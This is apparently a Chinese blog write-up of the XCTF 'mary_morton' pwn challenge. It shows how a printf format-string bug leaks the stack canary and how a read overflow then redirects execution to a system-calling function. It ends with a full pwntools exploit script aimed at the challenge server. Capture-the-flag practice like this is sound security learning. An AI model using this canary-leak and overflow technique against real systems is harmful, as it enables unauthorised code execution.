攻防世界pwn-mary-morton


最后完成月2023年9月4号

泄漏canary地址
存在canary保护

存在system

程序大致的逻辑就是选择一个选项,然后输入,存在两处输入输出,使用了read和printf,第一处中read无法溢出,但是printf存在格式化字符串漏洞,可以组合泄露出canary的地址
0

在函数sub_400960,read函数可以溢出,可以通过之前泄漏的canary值来构造payload

通过printf泄漏canary的地址,但是在泄漏地址时没有注意%x是输出一个八字节的数,而我算偏移的时候按照单字节算了,而且也没有考虑输入的数据在栈中的偏移,直接拿输入和canary的相对偏移来作为绝对偏移。
通过格式化printf输出可以得到buf在栈中的偏移为6

在栈中buf在0x90出,canary在0x8出,相距0x88,也就是136,在64位环境下,%X输出8字节,136/8=17,17+6=23,因此canary在栈中的偏移为23。
完整exp如下

from pwn import*

context.log_level = 'debug'
# sh = process("./mary_morton")
sh = remote("61.147.171.105", 60921)

payload1 = b"%23$p"
sys_addr = 0x4008DA

sh.sendlineafter("3. Exit the battle", b'2')
sh.recvline()
sh.sendline(payload1)
canary = (sh.recvline()[:-1])
print((canary))
canary = int(canary, 16)
print(canary)

payload = b'a' * 0x88 + p64(canary) + b'a' * 8 + p64(sys_addr)
sh.sendlineafter("3. Exit the battle", b'1')
sh.sendline(payload)
sh.interactive()

文章作者: xysx
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xysx !
评论